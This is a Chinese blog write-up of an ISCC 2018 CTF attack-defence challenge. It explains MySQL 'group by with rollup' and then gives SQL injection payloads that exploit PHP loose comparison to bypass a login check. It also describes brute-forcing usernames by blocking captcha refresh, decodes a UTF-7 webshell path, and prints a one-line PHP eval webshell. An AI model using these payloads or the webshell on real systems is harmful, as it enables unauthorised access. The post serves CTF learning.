iscc2018攻防

最新推荐文章于 2025-05-07 20:43:59 发布

JBlock

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分类专栏：注入 Python学习漏洞 html CTF学习代码审计 CTF大本营

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本文借助ISCC线下攻防赛复现，介绍SQL注入绕过思路与技巧。因多数关键词被过滤，盲注不可行，可利用mysql的group by与with rollup子句绕过。还给出两种满足条件的姿势，成功注入后可得到webshell地址。强调SQL注入本质是巧妙构造利用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

题记

继续未完成的使命和历程，借助iscc线下攻防赛的复现，窥探一下攻防赛的思路与技巧。

正文

首先打开界面发现一个登陆界面一个注册界面，先看一个注册界面得源码如下：

<html>
<head>
    <title>注册</title>
</head>
<body>
    <h1 style='text-align:center'>注册</h1>
    <div style="text-align:center">
        <form action="register.php" method="GET">
            用户名：iscc_<input type="text"  name="uname" placeholder="请输入四位数字" />
            <br/><br/>
            密码：<input type="password" name="pwd"/>
            <br/><br/>
            <input type="submit" value="注册">
        </form>
    </div>
</body>
</html>

看主界面发现这是个提示，也就是真正得用户名是iscc+四位数字，并且注册功能已经关闭了。我们随便输入密码，用户名登陆，并用bp抓包。

查看返回包发现一个hint.txt,这是个提示，我们找到这个文件，如下

$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }
}else if(mysqli_num_rows($query) == 0){
    echo "你这密码不太对啊";
}
else{
    echo "数据太多了";
}

这应该是题目的部分源码，可以看出这里的逻辑就是，我们必须要使得提交的密码与查询出来的结果相同，但是这里的比较用的是==，也就是只需要满足弱类型比较下相等即可。

那么按照常规的思路，就是盲注注出密码，但是因为大多数关键词都被过滤了，所以盲注的思路在这里不可行。

group by与with rollup的妙用

这时要用到 mysql 中的 group by 的 with rollup 子句进行巧妙绕过。

group by ... with rollup 本身当然不是为了方便我们注入而设计的，这个语句在 sql 的数据统计方面有着很强大的功能，在这里简单介绍一下。

我这里用自己手里的 2004-2017 年全国 259 所高校在某地区招生数据做一下演示。

我们知道 group by 语句可以实现对查询的结果分类，比如如果我们想要统计各类高校各有多少所，可以这样：

mysql> select TYPE,count(NAME) from university where YEAR=2017 group by TYPE;
+--------------------------------------------------------------+-------------+
| TYPE                                                         | count(NAME) |
+--------------------------------------------------------------+-------------+
|                                                              |         135 |
| 211高校/一流大学建设高校                                        |           3 |
| 211高校/一流学科建设高校                                        |          30 |
| 211高校/一流学科建设高校/教育部直属                               |          36 |
| 211高校/双一流建设学科/教育部直属                                |           3 |
| 211高校/教育部直属                                             |           1 |
| 985高校/211高校                                               |           2 |
| 985高校/211高校/一流大学建设高校                                 |           7 |
| 985高校/211高校/一流大学建设高校/教育部直属                       |          31 |
| 985高校/211高校/教育部直属                                      |           1 |
| 一流学科建设高校                                               |           9 |
| 教育部直属                                                    |           1 |
+--------------------------------------------------------------+-------------+

如果我们还想在最后一行输出一下一共有多少所高校，就可以使用 with rollup子句，他将在最后添加一行数据，用来显示上面的数据的 “汇总” ，注意这个汇总并不是 求和，后面会解释。

mysql> select TYPE,count(NAME) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+-------------+
| TYPE                                                         | count(NAME) |
+--------------------------------------------------------------+-------------+
|                                                              |         135 |
| 211高校/一流大学建设高校                                        |           3 |
| 211高校/一流学科建设高校                                        |          30 |
| 211高校/一流学科建设高校/教育部直属                               |          36 |
| 211高校/双一流建设学科/教育部直属                                |           3 |
| 211高校/教育部直属                                             |           1 |
| 985高校/211高校                                               |           2 |
| 985高校/211高校/一流大学建设高校                                 |           7 |
| 985高校/211高校/一流大学建设高校/教育部直属                        |          31 |
| 985高校/211高校/教育部直属                                      |           1 |
| 一流学科建设高校                                                |           9 |
| 教育部直属                                                     |           1 |
| NULL                                                         |         259 |
+--------------------------------------------------------------+-------------+

大家可能发现了，在最后一行的数据中，除了数据的汇总，还有一个 NULL，这个NULL是用来表示非统计字段的。

那下面来解释一下，为什么说汇总不是求和，假如我现在想查询各个类型的高校 2017 年在该地区的平均录取分数，并在最后输出所有高校的平均分：

mysql> select TYPE,avg(AVERAGESCORE) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+--------------------+
| TYPE                                                         | avg(AVERAGESCORE ) |
+--------------------------------------------------------------+--------------------+
|                                                              | 506.14814814814815 |
| 211高校/一流大学建设高校                                        |                526 |
| 211高校/一流学科建设高校                                        |  560.8333333333334 |
| 211高校/一流学科建设高校/教育部直属                               |  568.9722222222222 |
| 211高校/双一流建设学科/教育部直属                                 |  563.3333333333334 |
| 211高校/教育部直属                                             |                594 |
| 985高校/211高校                                               |              287.5 |
| 985高校/211高校/一流大学建设高校                                 |                638 |
| 985高校/211高校/一流大学建设高校/教育部直属                        |  551.3870967741935 |
| 985高校/211高校/教育部直属                                      |                  0 |
| 一流学科建设高校                                                |  437.6666666666667 |
| 教育部直属                                                     |                605 |
| NULL                                                         |  525.7837837837837 |
+--------------------------------------------------------------+--------------------+

可以看到，最后一行的结果并不是上面查询的结果的和，而是上面数据的平均值。

这样我们就可以看出，with rollup 子句，对数据进一步处理的方式，是由查询数据时，对数据处理使用的函数决定的。

如何绕过

我们继续看题目的源码，如下

$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }

既然我们无法猜出密码到底是什么，那么我们可不可以控制查询的结果是我们自己已知的呢？结合上面对group by ... with rollup语句的介绍，我们可以想到，我们可以控制查询的结果为NULL，再结合 PHP 的弱类型 null==''，就可以成功绕过了。

那么我们接下来只需要构造 payload，使得查询结果为 NULL，但是要想使用group by ... with rollup构造出NULL的一个前提条件，就是查询出的结果不为空，那么我们就需要使 uname = '{$_POST['uname']}'这个条件成立，满足这个条件了，再结合limit和offset 很容易就可以返回的结果为NULL 。

那么如何满足这个前提条件呢？

姿势一

结合我们已经掌握的信息，在注册页面我们已经知道账户的格式是 ISCC_+四位数字，这里其实很明显是要我们去爆破，找到这个用户名，而登录的位置存在验证码，正常来讲是不能够爆破的，但是使用 Burpsuite 简单测试一下可以发现，网站并不是在用户提交表单后、判断验证码正确性之后就直接在后端生成新的验证码返回给前端，而是在前端进行请求，进行验证码的更新。也就是说，只要我们拦截/不发送这个请求，验证码就不会更新！

那么我们就可以进行爆破了，构造好 payload：

uname=iscc_0001'group by pwd with rollup limit 1 offset 1#&pwd=&yzm=6465

然后使用 Burpsuite 爆破即可。

在

uname=iscc_7980' group by pwd with rollup limit 1 offset 1#&pwd=&yzm=6465

这个payload的回显中发现注入成功。

姿势二

其实我们可以更轻松地满足 uname = '{$_POST['uname']}'，就是利用 SQL 的弱类型，具体情况与 php 类似，我简单举几个例子，相信大家就能明白了。

mysql> select 'aaaa' = 0;
+------------+
| 'aaaa' = 0 |
+------------+
|          1 |
+------------+
1 row in set, 1 warning (0.00 sec)

mysql> select 'aaaa11' = 0;
+--------------+
| 'aaaa11' = 0 |
+--------------+
|            1 |
+--------------+
1 row in set, 1 warning (0.00 sec)

mysql> select '20aaaa' = 20;
+---------------+
| '20aaaa' = 20 |
+---------------+
|             1 |
+---------------+
1 row in set, 1 warning (0.00 sec)

sql在一个数值和字符串进行比较的时候，会将字符串转换成数值，观察上述代码，"aaaa"=0 比较的时候，会将aaaa转化成数值，强制转化,由于aaaa是字符串，转化的结果是0自然和0相等。

"20aaaa"==20 比较的时候会将20aaaa转化成数值,结果为20，而“aaaa11“=0 却为true，也就是"aaaa11"被转化成了0。

于是我们可以构造'1'^1=1^1=0=字母开头的字符串，使条件被满足。

于是最后的payload：

uname=1'^1 group by pwd with rollup limit 1 offset 1#&pwd=

或者

cc'^0 group by pwd with rollup limit 1 offset 1#&pwd=

只要最终为true就行

拼接后的 sql 语句就是：

SELECT pwd FROM user WHERE uname = '1'^1 group by pwd with rollup limit 1 offset 1#
SELECT pwd FROM user WHERE uname = 'cc'^0 group by pwd with rollup limit 1 offset 1#

getflag

成功注入后，会输出一个字符串

+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-

是 utf-7 格式编码的 webshell 地址，写个python脚本进行解码

s='+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-'
t=s.decode('utf-7')
print t

得到webshell的地址，接下来就可以开打了

<?php 
show_source(__FILE__);
@eval($_POST['pass']);?>

Think in Think

sql注入的本质还是通过绕过，巧妙构造来利用，这个是不会变的，而我们测试的需要注意的是耐心与条理并行！